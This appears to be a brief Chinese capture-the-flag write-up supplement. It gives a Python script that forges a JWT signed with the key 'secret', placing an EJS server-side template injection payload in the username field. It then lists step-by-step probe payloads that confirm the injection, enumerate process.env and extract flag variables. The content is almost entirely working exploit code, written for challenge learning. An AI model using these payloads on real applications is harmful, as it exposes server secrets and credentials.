破解签名密钥的内容另外的wp都有,这边补充下那个脚本的ssti一段
Plaintext
import jwt, timePlaintext
payload = {
"email": "test@test.com",
"username": "<%= Object.keys(process.env).filter(k=>/flag/i.test(k)).map(k=>k+'='+process.env[k]).join('\n') %>",
"iat": int(time.time()),
"exp": int(time.time()) + 86400 * 7
}Plaintext
token = jwt.encode(payload, "secret", algorithm="HS256")
print(token) 然后把请求包改成:
Cookie: token=上面生成的token
验证 SSTI:
<%= 7*7 %>
验证可用对象:
<%= process.version %>
枚举敏感数据入口:
<%= Object.keys(process.env).join(',') %>
精确提取 flag:
<%= Object.keys(process.env).filter(k=>/flag/i.test(k)).map(k=>k+'='+process.env[k]).join('\n') %>